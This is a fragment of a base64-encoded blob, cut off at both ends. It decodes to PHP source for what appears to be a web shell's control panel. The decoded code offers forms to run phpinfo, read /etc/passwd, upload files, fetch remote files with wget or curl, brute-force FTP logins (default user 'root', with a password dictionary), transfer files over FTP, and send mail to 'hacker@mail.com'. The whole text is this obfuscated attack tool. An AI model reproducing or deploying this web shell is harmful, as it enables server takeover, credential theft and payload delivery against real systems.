0ZXN0MTNfZmlsZTEnXSk/KCRfUE9TVFsndGVzdDEzX2ZpbGUxJ10pOigiIHBocGluZm8oKTsgIikpKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCiANCiANCiANCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjYnXSwnaWQyOCcpLiR0YWJsZV91cDIuZGl2KCdpZDI4JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTRfZmlsZTInLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0MTRfZmlsZTInXSk/KCRfUE9TVFsndGVzdDE0X2ZpbGUyJ10pOigkZGlyKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE0JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3QxNF9maWxlMScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNF9maWxlMSddKT8oJF9QT1NUWyd0ZXN0MTRfZmlsZTEnXSk6KCIgcGhwaW5mbygpOyAiKSkpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEwJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsgIA0KIA0KIA0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEyNyddLCdpZDI5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMjknKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2NSddLiIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUyJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUyJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMiddKTooJGRpci4iL3NoZWxsLnBocCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTUnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjUnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDE1X2ZpbGUxJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDE1X2ZpbGUxJ10pPygkX1BPU1RbJ3Rlc3QxNV9maWxlMSddKTooIiBwaHBpbmZvKCk7ICIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOyAgDQogDQogDQogDQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTI5J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIiAiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0MTZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pPygkX1BPU1RbJ3Rlc3QxNl9maWxlJ10pOigkZGlyLiIvdGVzdC5waHAiKSkpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7ICANCiANCiANCiANCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMSddLCdpZDE3JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTcnKS4kdHM7DQplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NzAlPiIuJHRzOw0KZWNobyBzcigyMCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnXS4kYXJyb3cuIjwvYj4iLCRmcy5pbigndGV4dCcsJ3Rlc3QxN19maWxlJyw2MCwoIWVtcHR5KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDE3X2ZpbGUnXSk6KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCd0ZXN0MTdfMScpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNiddKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PHRkIHZhbGlnbj10b3Agd2lkdGg9MzAlPiIuJHRzOw0KZWNobyBzcigwLCIiLCRmcy5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18yJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKS4kZmUpOw0KZWNobyAkdGUuIjwvdGQ+PC90cj4iOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDE7ICANCiANCiANCiANCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzMiddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kdHM7DQplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NzAlPiIuJHRzOw0KZWNobyBzcigyMCwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsJGZzLmluKCd0ZXh0JywndGVzdDE3X2ZpbGUnLDYwLCghZW1wdHkoJF9QT1NUWyd0ZXN0MTdfZmlsZSddKT8oJF9QT1NUWyd0ZXN0MTdfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3QxN18xJykuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM2J10pLiRmZSk7DQplY2hvICR0ZS4iPC90ZD48dGQgdmFsaWduPXRvcCB3aWR0aD0zMCU+Ii4kdHM7DQplY2hvIHNyKDAsIiIsJGZzLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwndGVzdDE3XzMnKS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQ4J10pLiRmZSk7DQplY2hvICR0ZS4iPC90ZD48L3RyPiI7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMTsgIA0KIA0KIA0KIA0KIA0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1J10sJ2lkMzAnKS4kdGFibGVfdXAyLmRpdignaWQzMCcpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUwJyw4NSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjEnXS4kYXJyb3cuIjwvYj4iLGluKCdjaGVja2JveCcsJ25mMSBpZD1uZjEnLDAsJzEnKS5pbigndGV4dCcsJ25ld19uYW1lJyw4MiwnJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQyJ10pKTsNCmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsNCiANCiANCiANCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCBAaW5pX2dldCgnZmlsZV91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2YSddLCdpZDM0JykuJHRhYmxlX3VwMi5kaXYoJ2lkMzQnKS4kdHM7DQplY2hvICI8dHI+PHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlMicsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGUzJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTQnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlNScsMzUsJycpKTsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU2JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTcnLDM1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2J10uJGFycm93LiI8L2I+IixpbignZmlsZScsJ3VzZXJmaWxlOCcsMzUsJycpKTsNCmVjaG8gJHRlLiI8L3RkPjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpbGU5JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEwJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTExJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEyJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTEzJywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTE0JywzNSwnJykpOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NiddLiRhcnJvdy4iPC9iPiIsaW4oJ2ZpbGUnLCd1c2VyZmlsZTE1JywzNSwnJykpOw0KZWNobyBzcigxNSwnJyxpbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuIjwvdGQ+PC90cj4iOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KIA0KIA0KJHNlbGVjdD0nJzsNCmlmKCghQGZ1bmN0aW9uX2V4aXN0cygnaW5pX2dldCcpKSB8fCAoQGluaV9nZXQoJ2FsbG93X3VybF9mb3BlbicpICYmIEBmdW5jdGlvbl9leGlzdHMoJ2ZvcGVuJykpKXskc2VsZWN0ID0gIjxvcHRpb24gdmFsdWU9XCJmb3BlblwiPmZvcGVuPC9vcHRpb24+Ijt9DQppZighJHNhZmVfbW9kZSl7DQogaWYod2hpY2goJ3dnZXQnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cIndnZXRcIj53Z2V0PC9vcHRpb24+Ijt9DQogaWYod2hpY2goJ2ZldGNoJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+Ijt9DQogaWYod2hpY2goJ2x5bngnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+Ijt9DQogaWYod2hpY2goJ2xpbmtzJykpeyRzZWxlY3QgLj0gIjxvcHRpb24gdmFsdWU9XCJsaW5rc1wiPmxpbmtzPC9vcHRpb24+Ijt9DQogaWYod2hpY2goJ2N1cmwnKSl7JHNlbGVjdCAuPSAiPG9wdGlvbiB2YWx1ZT1cImN1cmxcIj5jdXJsPC9vcHRpb24+Ijt9DQogaWYod2hpY2goJ0dFVCcpKXskc2VsZWN0IC49ICI8b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0VUPC9vcHRpb24+Ijt9DQp9DQppZigkc2VsZWN0KXsNCiBlY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTUnXSwnaWQzMScpLiR0YWJsZV91cDIuZGl2KCdpZDMxJykuJHRzOw0KIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE2J10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBzaXplPVwiMVwiIG5hbWU9XCJ3aXRoXCI+Ii4kc2VsZWN0DQouIjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cygyKS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTcnXS4kYXJyb3cuIjwvYj4iLmluKCd0ZXh0JywncmVtX2ZpbGUnLDc4LCdodHRwOi8vJykpOw0KIGVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywxMDUsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQogZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KIA0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg2J10sJ2lkMzInKS4kdGFibGVfdXAyLmRpdignaWQzMicpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCcpLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpbigncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHMoJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBiemlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQogDQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMzMnKS4kdGFibGVfdXAyLmRpdignaWQzMycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQogDQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTQnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX3NlcnZlcl9wb3J0JywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pPygkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTooIjEyNy4wLjAuMToyMSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2JydXRlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwncGFzc3dkJywxKS4iPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWNobyBzcigyNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnLDEpLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDEnXSk7DQplY2hvIHNyKDI1LCIiLGluKCdyYWRpbycsJ2JydXRlX21ldGhvZCcsMCwnZGljJywwKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10pOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzcnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnRwX2xvZ2luJywwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigicm9vdCIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTM1J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RpY3Rpb25hcnknLDAsKCFlbXB0eSgkX1BPU1RbJ2RpY3Rpb25hcnknXSk/KCRfUE9TVFsnZGljdGlvbmFyeSddKTooJGRpci4nL3Bhc3N3LmRpYycpKSkpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxJ10pKTsNCiANCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg3J10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9zZXJ2ZXJfcG9ydCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKT8oJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk6KCIxMjcuMC4wLjE6MjEiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9sb2dpbicsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9sb2dpbiddKT8oJF9QT1NUWydmdHBfbG9naW4nXSk6KCJhbm9ueW1vdXMiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDM4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9wYXNzd29yZCcsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKT8oJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk6KCJiaWxseUBtaWNyb3NvZnQuY29tIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfZmlsZScsMjAsKCFlbXB0eSgkX1BPU1RbJ2Z0cF9maWxlJ10pPygkX1BPU1RbJ2Z0cF9maWxlJ10pOigiL2Z0cC1kaXIvZmlsZSIpKSkuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZnRwX2ZpbGVfZG93bicpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDE4J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2xvY19maWxlJywyMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MCddLiRhcnJvdy4iPC9iPiIsIjxzZWxlY3QgbmFtZT1mdHBfbW9kZT48b3B0aW9uPkZUUF9CSU5BUlk8L29wdGlvbj48b3B0aW9uPkZUUF9BU0NJSTwvb3B0aW9uPjwvc2VsZWN0PiIuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE0J10pKTsNCiANCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9MzMlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwMCddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDIwLCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDIwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2Z0cF9maWxlJywyMCwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCcpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+IiwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlRQX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQogDQplY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQogDQogDQppZihAZnVuY3Rpb25fZXhpc3RzKCJtYWlsIikpew0KZWNobyAkdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAyJ10sJ2lkMzUnKS4kdGFibGVfdXAyLmRpdignaWQzNScpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0zMyU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsMzAsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbS